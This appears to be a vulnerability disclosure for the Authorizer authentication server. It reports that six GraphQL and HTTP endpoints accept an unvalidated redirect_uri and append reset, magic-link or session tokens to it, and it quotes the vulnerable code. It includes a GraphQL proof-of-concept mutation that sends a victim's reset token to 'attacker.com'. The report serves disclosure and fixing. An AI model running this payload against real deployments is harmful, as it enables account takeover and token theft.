Hi,

I found that 6 endpoints in Authorizer accept a user-controlled redirect_uri and append sensitive tokens to it without validating the URL against AllowedOrigins. The OAuth /app handler validates redirect_uri at http_handlers/app.go:46, but the GraphQL mutations and verify_email handler skip validation entirely. An attacker can steal password reset tokens, magic link tokens, and full auth sessions (access_token + id_token + refresh_token) by pointing redirect_uri to their server. Verified against HEAD (commit 73679fa).

Affected Endpoints

1. ForgotPassword (internal/graphql/forgot_password.go:76-77) - password reset tokens
2. MagicLinkLogin (internal/graphql/magic_link_login.go:150-151) - magic link auth tokens
3. Signup (internal/graphql/signup.go:211-212) - email verification tokens
4. InviteMembers (internal/graphql/invite_members.go:90-91) - invitation tokens
5. OAuthLoginHandler (internal/http_handlers/oauth_login.go:18-20) - OAuth redirect stored in state
6. VerifyEmailHandler (internal/http_handlers/verify_email.go:27,178) - full auth tokens (access + id + refresh)

Root Cause

Because these 6 endpoints completely lack the validators.IsValidOrigin() check, this vulnerability bypasses secure configurations. Even if a production administrator strictly configures AllowedOrigins to ["https://my-secure-app.com"], an attacker can still steal tokens by passing https://attacker.com to these specific GraphQL mutations. The validation only exists in the /app OAuth handler, not in any of the GraphQL mutations.

In forgot_password.go:76-77, the user-supplied redirect_uri is accepted without validation:

if strings.TrimSpace(refs.StringValue(params.RedirectURI)) != "" {
    redirectURI = refs.StringValue(params.RedirectURI)
}

The reset token is appended to this URL at internal/utils/common.go:77:

func GetForgotPasswordURL(token, redirectURI string) string {
    verificationURL := redirectURI + "?token=" + token
    return verificationURL
}

Compare with the OAuth flow at internal/http_handlers/app.go:46 which validates correctly:

if !validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins) {
    c.JSON(400, gin.H{"error": "invalid redirect url"})
    return
}

This validation is missing from all 6 endpoints listed above.

Most Severe Path: Full Token Theft via verify_email

After a user clicks the verification link, verify_email.go:178 generates full auth tokens and redirects to the (unvalidated) URL:

params := "access_token=" + authToken.AccessToken.Token +
    "&token_type=bearer&expires_in=" + ... +
    "&id_token=" + authToken.IDToken.Token + "&nonce=" + nonce

The redirect_uri is stored in the JWT claim from the original request (attacker-controlled). The attacker receives the victim's access_token, id_token, and refresh_token directly.

Because tokens are appended as URL query parameters, they are also automatically leaked to the attacker's server access logs, the victim's browser history, and any third-party analytics scripts on the attacker's page via the Referer header.

PoC

mutation {
  forgot_password(params: {
    email: "victim@example.com"
    redirect_uri: "https://attacker.com/steal"
  }) {
    message
  }
}

The victim receives a legitimate password reset email with the link https://attacker.com/steal?token=<reset_token>. Clicking the link sends the reset token to the attacker.

Impact

• Account takeover via stolen password reset tokens
• Full session theft via stolen access_token + id_token + refresh_token
• Passwordless account compromise via stolen magic link tokens
• No authentication required to trigger (the GraphQL mutations are public)
• Victim only needs to click the email link from their trusted Authorizer instance

Additional Note

The default AllowedOrigins at cmd/root.go:39 is ["*"], so even the OAuth endpoint's validation is a no-op by default. Recommend changing the default to require explicit configuration.

Koda Reef

References

• GHSA-x3f4-v83f-7wp2
• authorizerdev/authorizer#502
• authorizerdev/authorizer@6d9bef1
• https://github.com/authorizerdev/authorizer/releases/tag/2.0.1